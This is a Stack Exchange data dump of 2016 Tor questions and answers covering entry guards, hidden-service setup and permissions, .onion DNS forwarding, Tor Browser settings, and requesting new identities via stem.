  <row Id="9624" PostTypeId="1" CreationDate="2016-02-09T05:13:34.970" Score="1" ViewCount="381" Body="&lt;p&gt;I have been trying to figure out how to change the location because it always thinks I am in Europe.  Is there a way to change the location to what you want?  For example, I want the computer to think i am in paris or if I want it to look like florida.  How can I do this?  If anybody has the answer, state like i am a 5 year old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="10765" LastActivityDate="2016-02-09T05:13:34.970" Title="Changing Locations, please help?" Tags="|whonix|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9625" PostTypeId="1" CreationDate="2016-02-09T14:58:47.087" Score="0" ViewCount="96" Body="&lt;p&gt;I click for 'new tor circuit for this site' and it remains locked in on a certain IP (listed in title) after 'this browser'. That never happened before...Can I change that?&lt;/p&gt;&#xA;" OwnerUserId="10768" LastActivityDate="2016-02-09T16:56:41.673" Title="why is this IP 69.172.212.42 locked in on circuit" Tags="|configuration|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2016-02-10T08:14:20.153" ContentLicense="CC BY-SA 3.0" />
  <row Id="9627" PostTypeId="2" ParentId="4099" CreationDate="2016-02-09T16:56:41.673" Score="2" Body="&lt;p&gt;The first of the three relays in the circuit is called the &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EntryGuards&quot; rel=&quot;nofollow noreferrer&quot;&gt;entry guard&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The entry guard will stay the same for a period of time (several months - this is called the &lt;em&gt;rotation period&lt;/em&gt;), even when you create a new circuit. This is expected and by design.&lt;/p&gt;&#xA;&lt;p&gt;See this previous question: &lt;a href=&quot;https://tor.stackexchange.com/questions/9333/in-tor-browser-i-connect-to-the-exact-same-entry-node-all-the-time-unable-to-c/9334#9334&quot;&gt;In Tor Browser, I connect to the exact same entry node all the time, unable to change it&lt;/a&gt; (&lt;strong&gt;notice:&lt;/strong&gt; that question has now been merged with the current question)&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="31632" LastEditDate="2021-06-03T14:22:55.763" LastActivityDate="2021-06-03T14:22:55.763" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9628" PostTypeId="1" AcceptedAnswerId="9654" CreationDate="2016-02-09T17:35:48.207" Score="4" ViewCount="15196" Body="&lt;p&gt;I am trying to run hidden services with tor. But when I start it just using &lt;code&gt;tor&lt;/code&gt; I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... is not owned by this user (user, 1000) but by debian-tor (118). Perhaps you are running Tor as the wrong user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I run it using &lt;code&gt;sudo tor&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;... is not owned by this user (root, 0) but by debian-tor (118). Perhaps you are running Tor as the wrong user?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And when I try &lt;code&gt;sudo service tor start&lt;/code&gt; it doesn't show any errors but it still doesn't works. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also added &lt;code&gt;User debian-tor&lt;/code&gt; to torrc. But than I get the error &lt;code&gt;Directory /root/.tor cannot be read: Permission denied&lt;/code&gt; when I run it as root(&lt;code&gt;sudo tor&lt;/code&gt;). And the error &lt;code&gt;Directory ... cannot be read: Permission denied&lt;/code&gt; when I run it with &lt;code&gt;tor&lt;/code&gt; or as service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I change the owner of the directory to root I can start it with &lt;code&gt;sudo tor&lt;/code&gt; but still not with &lt;code&gt;sudo service tor start&lt;/code&gt;, I also don't think it is save tor run it with the root user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Debian Jessie.&#xA;Does anyone know how I can fix this?&#xA;I want to run tor as a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I installed centos and got the exact same error...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i found out when I use &lt;code&gt;/var/lib/tor/&lt;/code&gt; as directory it works!&#xA;But when I use &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt; (With user _tor as owner) I still have an permission error. I tried to add &lt;code&gt;ReadWriteDirectories&lt;/code&gt; to &lt;code&gt;tor.service&lt;/code&gt; with &lt;code&gt;/var/lib/tor/hidden_service/&lt;/code&gt; as directory. But that also doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="10771" LastEditorUserId="10771" LastEditDate="2016-02-11T14:41:00.977" LastActivityDate="2021-11-27T23:25:24.850" Title="Tor permission error" Tags="|help|debian|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9629" PostTypeId="1" AcceptedAnswerId="9634" CreationDate="2016-02-09T18:50:13.317" Score="1" ViewCount="637" Body="&lt;p&gt;One of the killer applications of tor is the ability to create a new tor circuit at the push of a button. Is there something similar for VOIP where also your dynamic/static IP is exposed in the standard scenario. I do understand that bandwidth requirements as well as latency requirements will be more than a tad higher than browsing web pages. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ideal tool would be which would be one which can be programmed to change something similar to tor relays with a pre-defined interval, say 30 secs. or so &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the very least, I think somebody should have tried it as proof of concept. If people have, would like to know about it. &lt;/p&gt;&#xA;" OwnerUserId="3547" LastActivityDate="2017-01-11T05:20:52.753" Title="is there something like tor for VOIP?" Tags="|relays|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9630" PostTypeId="1" CreationDate="2016-02-10T06:17:01.890" Score="1" ViewCount="241" Body="&lt;p&gt;When using a technology like tails, For privacy concerns, should I concern myself with whether a USB drive, and my purchase of it, can be used to trace me while running tails?&lt;/p&gt;&#xA;" OwnerUserId="7608" LastEditorUserId="112" LastEditDate="2016-02-10T20:42:05.050" LastActivityDate="2016-02-10T20:42:05.050" Title="Can a USB drive's serial number or unique hardware be used to identify me?" Tags="|tails|deanonymization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9631" PostTypeId="2" ParentId="9628" CreationDate="2016-02-10T08:21:17.393" Score="4" Body="&lt;p&gt;When you want to start via command line you need to do it as the correct user. As the message says it expects &lt;code&gt;debian-tor&lt;/code&gt;. So call Tor in the following way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo -u debian-tor tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-02-10T08:21:17.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9633" PostTypeId="2" ParentId="9628" CreationDate="2016-02-10T17:38:33.103" Score="-1" Body="&lt;p&gt;You're missing &lt;code&gt;DataDirectory /usr/tor/data&lt;/code&gt; in your torrc. And make a &lt;code&gt;debian-tor&lt;/code&gt; user you've mentioned in your setup have a &lt;code&gt;/bin/bash&lt;/code&gt; shell and a home directory &lt;code&gt;/usr/tor&lt;/code&gt; - it will solve your problem and help you to run pluggable transports without a problem. Do it like this from root :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir -p /usr/tor/data&#xA;chown -R debian-tor:`id -g debian-tor` /usr/tor&#xA;usermod -d /usr/tor -s /bin/bash debian-tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-10T17:38:33.103" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9634" PostTypeId="2" ParentId="9629" CreationDate="2016-02-10T17:41:48.187" Score="2" Body="&lt;p&gt;It is already implemented : a &lt;a href=&quot;http://torfone.org/&quot; rel=&quot;nofollow&quot;&gt;Torfone&lt;/a&gt; add-on for &lt;a href=&quot;https://github.com/prof7bit/TorChat&quot; rel=&quot;nofollow&quot;&gt;TorChat&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-10T17:41:48.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9635" PostTypeId="2" ParentId="9622" CreationDate="2016-02-10T17:49:47.207" Score="1" Body="&lt;p&gt;Yes it makes, you're adding a corresponding entry in &lt;code&gt;/etc/hosts&lt;/code&gt; and just making this :&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an &lt;strong&gt;additional localhost interface&lt;/strong&gt; lo0:0 with 127.0.1.1/24 subnet&lt;/li&gt;&#xA;&lt;li&gt;Modify your lo0 &lt;strong&gt;to shorter scope&lt;/strong&gt; 127.0.0.1/24 - they &lt;strong&gt;must not intersect/interfere&lt;/strong&gt; with an interface from pt.1&lt;/li&gt;&#xA;&lt;li&gt;Make tor bind it's DNS to 127.0.0.&lt;strong&gt;2&lt;/strong&gt;:53&lt;/li&gt;&#xA;&lt;li&gt;Install ISC Bind and tie it to 127.0.0.&lt;strong&gt;1&lt;/strong&gt;:53&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Tell bind to resolve dot-onion(&lt;strong&gt;.onion&lt;/strong&gt;) addresses via 127.0.0.&lt;strong&gt;2&lt;/strong&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;zone &quot;onion&quot; {&#xA; type forward;&#xA; forward only;&#xA; forwarders {&#xA;     127.0.0.2;&#xA; };&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;in your named.conf right &lt;strong&gt;inside the curlies({})&lt;/strong&gt; after the default zones&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;Use your local named to resolve all the URL's you need, including dot-onion&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;=)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-10T17:49:47.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9636" PostTypeId="2" ParentId="9630" CreationDate="2016-02-10T17:53:02.667" Score="2" Body="&lt;p&gt;Theoretically - &lt;strong&gt;YES&lt;/strong&gt;, if it will be a way to make a hardware listing query like &lt;code&gt;lsusb -v&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-10T17:53:02.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9637" PostTypeId="1" CreationDate="2016-02-11T03:45:30.267" Score="4" ViewCount="1880" Body="&lt;p&gt;1.) Why does my Tor Browser auto-reset the &lt;code&gt;DisableNetwork&lt;/code&gt; setting to &quot;1&quot; after Tor Browser shutsdown for a clean &quot;Exit&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.) How should I stop this settings auto-reset behavior so I do not have to re-edit the &lt;code&gt;torrc&lt;/code&gt; configuration file every time I want to start Tor Browser?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3.) Does my manually resetting &lt;code&gt;DisableNetwork&lt;/code&gt; to 0 before I restart Tor Browser harm my Tor online security settings in any way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I run WinXP Home SP3 with local Administrator rights &amp;amp; the latest MS patches are up to date with the latest Tor Browser version 5.5.1.  As far as I know, the McAfee Anti-Virus software I have installed does not interfere with Tor Browser or its settings.  I have enabled the MS Security Center to enable ports 80, 443 for Tor Browser and &lt;code&gt;obsf4&lt;/code&gt; use.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I successfully open Tor Browser and eventually close Tor when I am finished, the &lt;code&gt;DisableNetwork&lt;/code&gt; setting always auto-resets from 0 to 1 for no apparent reason.  All other Tor Browser settings and changes are correctly saved, but not the &lt;code&gt;DisableNetwork&lt;/code&gt; setting.  No file or app error is listed in the WinXP system/app event log and &lt;code&gt;DisableNetwork&lt;/code&gt; is not located in Firefox's &lt;code&gt;about:config&lt;/code&gt;.  The only Tor Browser listing for &lt;code&gt;DisableNetwork&lt;/code&gt; is in &lt;code&gt;torrc&lt;/code&gt; settings file.  This unannounced &lt;code&gt;DisableNetwork&lt;/code&gt; settings change prevents me from restarting Tor Browser unless I manually edit the &lt;code&gt;Torrc&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, I only have 2 or 3 options to successfully restart Tor Browser.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first option is to edit the text file &lt;code&gt;c:\documents and settings\test user\desktop\tor browser\browser\torbrowser\data\tor\torrc&lt;/code&gt; to change the &lt;code&gt;DisableNetwork&lt;/code&gt; setting from 1 to 0.  Tor Browser will then run correctly after I make the &lt;code&gt;DisableNetwork&lt;/code&gt; setting change. However &lt;code&gt;DisableNetwork&lt;/code&gt; will later change back 1 when the Tor app is closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second option is more tedious &amp;amp; time consuming, where I have to reinstall Tor Browser through a TorProject.org update or upgrade. Upon successful startup, I then have to reconfigure Tor Browser as if it is a totally new install of the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A third option after Tor Browser shutdown could be to create a batch file to copy a pre-saved &lt;code&gt;torrc&lt;/code&gt; file that includes &lt;code&gt;DisableNetwork 0&lt;/code&gt; to overwrite the original &lt;code&gt;torrc&lt;/code&gt; file.  However, this is a temporary workaround and not a solution to why the &lt;code&gt;DisableNetwork&lt;/code&gt; setting changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion would be appreciated!  I have experienced this same &lt;code&gt;DisableNetwork&lt;/code&gt; settings problem when using Tor for the past several years...&lt;/p&gt;&#xA;" OwnerUserId="10786" LastEditorUserId="8197" LastEditDate="2016-02-12T09:12:46.387" LastActivityDate="2016-04-27T15:56:33.893" Title="Why does Tor Browser auto-reset DisableNetwork setting to 1 after Tor Browser Exit?" Tags="|tor-browser-bundle|windows|error|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9638" PostTypeId="2" ParentId="7376" CreationDate="2016-02-11T09:32:57.060" Score="1" Body="&lt;p&gt;I asked that March '14 in another &lt;a href=&quot;https://tor.stackexchange.com/questions/1752/tor-relay-acts-as-an-exit-with-reject&quot;&gt;post&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ARM don't differentiates between internal and external (to the normal web) circuits. Your relay is probably correct configured and will not relay as an Exit to the normal web.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 tickets exist to clarify that UX problem in ARM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ticket: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/6430&quot; rel=&quot;nofollow noreferrer&quot;&gt;6430&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Perhaps internal circuits which are not for directory fetches could simply be called &quot;END&quot; hops or &quot;FINAL&quot; hops? Rather than suggesting that anything is actually exiting the network, which seems to be the particular bit of terminology that is frightening folks.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ticket: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12956&quot; rel=&quot;nofollow noreferrer&quot;&gt;12956&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think for non-general-purpose circuits, we should call that third hop something else. I'm open to suggestions -- one option would be to just call the last hop on a non-exit circuit &quot;Middle&quot; also. Another option would be to call it &quot;Internal&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1403" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-02-11T09:32:57.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9639" PostTypeId="2" ParentId="4432" CreationDate="2016-02-11T19:42:02.263" Score="1" Body="&lt;p&gt;it's about a CPU consumption and IRQ's. Check your &lt;code&gt;top&lt;/code&gt; - an process named &lt;code&gt;irqballance&lt;/code&gt; may be causing some problem. If so, kill it every 8-12 hours via crontab and it will be fine. if not - please tell me your full hw and sw specs, so I'll be able to take a deeper look. Cheers!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-11T19:42:02.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9641" PostTypeId="1" CreationDate="2016-02-11T23:34:32.540" Score="1" ViewCount="4963" Body="&lt;p&gt;Okay, I've searched through a bunch of articles about how to do this, but nothing seems to work.&#xA;I'm trying to use &lt;a href=&quot;http://quotev.com&quot; rel=&quot;nofollow&quot;&gt;Quotev&lt;/a&gt;. I got my IP Address blocked, though. When I open Tor and go to the website, it still doesn't let me log in. I've changed my identity, and tried using Mozilla through Tor. I'm not very smart with this kind of stuff, so &lt;strong&gt;there's probably some obvious solution&lt;/strong&gt; to this. Still, I can't figure it out and would like some help.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I also believe I have changed my personal IP address via cmd (/release and /renew), but my personal IP address is still the same. Does that have something to do with it (unrelated to Tor, but still)? &lt;/p&gt;&#xA;" OwnerUserId="10795" LastActivityDate="2016-05-21T14:47:34.900" Title="How To Get Unblocked From Websites With Tor?" Tags="|ip-address|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9642" PostTypeId="2" ParentId="8806" CreationDate="2016-02-12T02:53:44.090" Score="0" Body="&lt;p&gt;Yes, it's possible even without &lt;strong&gt;any&lt;/strong&gt; active content on a page, see &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6265&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cookie RFC 6265&lt;/a&gt; - it's a standard about cookies and Set-Cookie headers&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="-1" LastEditDate="2021-10-07T07:34:52.683" LastActivityDate="2016-02-12T02:53:44.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9643" PostTypeId="2" ParentId="9641" CreationDate="2016-02-12T02:55:52.820" Score="0" Body="&lt;p&gt;It's obvious that you have a cookie in your web browser. Get rid of it, change your IP address/(use Tor/I2P) to try again.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-12T02:55:52.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9645" PostTypeId="2" ParentId="9538" CreationDate="2016-02-13T02:37:31.410" Score="0" Body="&lt;p&gt;I have solved the problem, for now at least. I moved the xpi files from the Staged folder to the Extensions folder, replacing outdated ones. This has brought my existing add-ons up to date, and has installed the new add-ons I wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cause of xpi files getting stuck in the Staged folder remains unexplained.&lt;/p&gt;&#xA;" OwnerUserId="10601" LastActivityDate="2016-02-13T02:37:31.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9646" PostTypeId="2" ParentId="8669" CreationDate="2016-02-13T03:20:38.047" Score="1" Body="&lt;p&gt;There are actually a lot of anonymous networks that can make tunnels in a low-latency fashion. However, many of them are originally designed for file-sharing and thus require some modifications to be done in order to tunnel a pure TCP connection. &lt;a href=&quot;https://gnunet.org&quot; rel=&quot;nofollow&quot;&gt;GNUnet&lt;/a&gt; is one running (with TCP tunneling capabilities), and also see &lt;a href=&quot;https://github.com/UWNetworksLab/OneSwarm&quot; rel=&quot;nofollow&quot;&gt;Unblock&lt;/a&gt; (defunct), &lt;a href=&quot;https://tribler.org/&quot; rel=&quot;nofollow&quot;&gt;Tribler&lt;/a&gt; (not supporting TCP tunneling) and &lt;a href=&quot;http://anonet.org&quot; rel=&quot;nofollow&quot;&gt;anoNet&lt;/a&gt; (just a lot of VPNs).&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-02-13T03:20:38.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9647" PostTypeId="2" ParentId="9253" CreationDate="2016-02-13T11:24:22.417" Score="3" Body="&lt;p&gt;Yes. An attacker can perform a sybil attack or just kick down your guard node repeatedly until your Tor client choose a malicious node as guard.&lt;br&gt;&#xA;Controlling your guard node doesn't lead to decrypting your traffic, but mostly makes you vulnerable to traffic correlating or path bias attacks, thus makes tagging attack and eavesdropping possible.&lt;br&gt;&#xA;See &lt;a href=&quot;https://tor.stackexchange.com/questions/129/should-i-choose-a-new-guard-if-the-network-is-overloaded&quot;&gt;Should I choose a new guard if the network is overloaded?&lt;/a&gt;&lt;br&gt;&lt;/p&gt;&#xA;" OwnerUserId="4894" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2016-02-13T11:31:33.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9650" PostTypeId="1" CreationDate="2016-02-13T23:11:41.497" Score="2" ViewCount="467" Body="&lt;p&gt;(yeah - I know - 8.1 sucks but I need this install for a work gig)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just wiped a system, reinstalled w/ W8.1 (x64), 8 gigs of RAM, i5, SSD - runs like a champ. Downloaded TOR, saved it to my Downloads directory, ran to a couple of web pages and BAM - Firefox freeze, mouse freeze. Alt/tab still works but only to switch between applications. Only way to get mouse control back is to restart system. Tried removing TOR, wiping system, re-d/l'ed and allowed it to save to default location (Desktop), still freezes on first page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did a bit of searching, found this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.mozilla.org/en-US/kb/firefox-hangs-or-not-responding#w_firefox-hangs-at-random-times&quot; rel=&quot;nofollow&quot;&gt;https://support.mozilla.org/en-US/kb/firefox-hangs-or-not-responding#w_firefox-hangs-at-random-times&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...tried most of the suggestions, still freezing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any suggestions as to how to stop this from happening...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TIA&lt;/p&gt;&#xA;" OwnerUserId="10818" LastActivityDate="2016-02-13T23:11:41.497" Title="TOR/Firefox freeze on fresh Windows 8.1 install" Tags="|tor-browser-bundle|windows|help|firefox|browsers|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9651" PostTypeId="1" AcceptedAnswerId="9652" CreationDate="2016-02-14T02:02:32.500" Score="1" ViewCount="124" Body="&lt;p&gt;I ran tor on my raspian machine from the repositories. Since this version is quite old I built a newer version from sources. The files like config, etc., are located under /usr/local -- where the repository-installation put them directly in /etc/.&#xA;I want to copy my old secret_id_key that I obtained from /var/lib/tor/keys to the new built. However, I cannot find a specific location (/usr/local/lib does not yield a tor directory).&#xA;Any ideas (or solutions) where to put this file?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="10041" LastActivityDate="2016-02-14T17:45:30.700" Title="Location of secret_id_key when built from sources" Tags="|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9652" PostTypeId="2" ParentId="9651" CreationDate="2016-02-14T02:21:01.700" Score="1" Body="&lt;p&gt;PREFIX/data/keys, where prefix is &lt;code&gt;--prefix=xxx&lt;/code&gt; and in my case - I've made a double-precaution :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;configure --prefix=/usr/tor&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;in &lt;strong&gt;torrc&lt;/strong&gt; &lt;code&gt;DataDirectory /usr/tor/data&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and NO problem is given at all, I have ALL the keys in &lt;em&gt;/usr/tor/data/keys&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2016-02-14T17:45:30.700" LastActivityDate="2016-02-14T17:45:30.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9654" PostTypeId="2" ParentId="9628" CreationDate="2016-02-14T19:31:18.503" Score="4" Body="&lt;p&gt;I found out that tor was blocked by SElinux.&#xA;I disabled SElinux and everything was working.&lt;/p&gt;&#xA;" OwnerUserId="10771" LastActivityDate="2016-02-14T19:31:18.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9655" PostTypeId="1" CreationDate="2016-02-15T09:35:19.693" Score="1" ViewCount="279" Body="&lt;p&gt;I am renewing my identity with python script so I would like to turn off Tor's default auto-renewing period. &#xA;Is it good enough to set MaxCircuitDirtiness to 86400 (1 day) ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need to leave identity renewal to python. (and python manages renewal period by itself) &#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11826" LastActivityDate="2017-02-11T17:14:58.807" Title="turn off renewing identity" Tags="|tor-browser-bundle|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9656" PostTypeId="1" CreationDate="2016-02-15T14:11:44.460" Score="2" ViewCount="287" Body="&lt;p&gt;I understand that all of the communication between a client and a hidden service (.onion) takes place within the Tor network and is therefore end-to-end encrypted. What I am wondering, however, is how the URL / URI of a given request is handled. If in my Tor Browser I see this;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://hiddenservxxxxxx.onion/index.php?page=someidentifyinginformation&quot; rel=&quot;nofollow&quot;&gt;http://hiddenservxxxxxx.onion/index.php?page=someidentifyinginformation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there nodes within the Tor circuit that can see that I am attempting to access a page with some potentially identifying information in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the whole URL obscured from leaking sensitive info? Or even part of it?&lt;/p&gt;&#xA;" OwnerUserId="11827" LastActivityDate="2020-02-11T13:09:31.850" Title="Which node(s), if any, in the circuit for a hidden service, can see the URI of a request to a hidden service?" Tags="|onion-services|anonymity|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9657" PostTypeId="2" ParentId="9656" CreationDate="2016-02-15T14:57:58.343" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;http://&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/index.php?page=someidentifyinginformation&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Only you and HS, because end-to-end encryption takes place. Encryption hides the protocol you use and thus its payload (in this case &lt;code&gt;/index.php?page=someidentifyinginformation&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;hiddenservxxxxxx.onion&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Introduction points, you and HS. The guard and the last hop of the HS circuit and rendezvous points may also know this through some sort of attacks (actually all nodes can know if the attack is 'strong' enough).&lt;/p&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2016-02-15T14:57:58.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9658" PostTypeId="2" ParentId="9655" CreationDate="2016-02-15T15:03:58.587" Score="1" Body="&lt;p&gt;I think 1 day is too much, how about &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/13766#comment:11&quot; rel=&quot;nofollow&quot;&gt;2 hours&lt;/a&gt; for staying fresh and stable? Have a look at the &lt;a href=&quot;https://stem.torproject.org/faq.html#how-do-i-request-a-new-identity-from-tor&quot; rel=&quot;nofollow&quot;&gt;How do I request a new identity from Tor?&lt;/a&gt; section of &lt;a href=&quot;https://stem.torproject.org/index.html&quot; rel=&quot;nofollow&quot;&gt;stem&lt;/a&gt;, which gives you a way to do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem import Signal&#xA;from stem.control import Controller&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;  controller.authenticate()&#xA;  controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8197" LastEditorUserId="8197" LastEditDate="2016-02-15T15:15:28.713" LastActivityDate="2016-02-15T15:15:28.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9659" PostTypeId="2" ParentId="7279" CreationDate="2016-02-16T00:40:38.727" Score="1" Body="&lt;p&gt;You have two options :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;send a &lt;code&gt;SIGHUP&lt;/code&gt; to tor via &lt;code&gt;killall -HUP tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;setup a &lt;code&gt;ControlPort&lt;/code&gt; and via telnet control protocol send &lt;code&gt;SIGNAL NEWNYM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-02-16T00:40:38.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
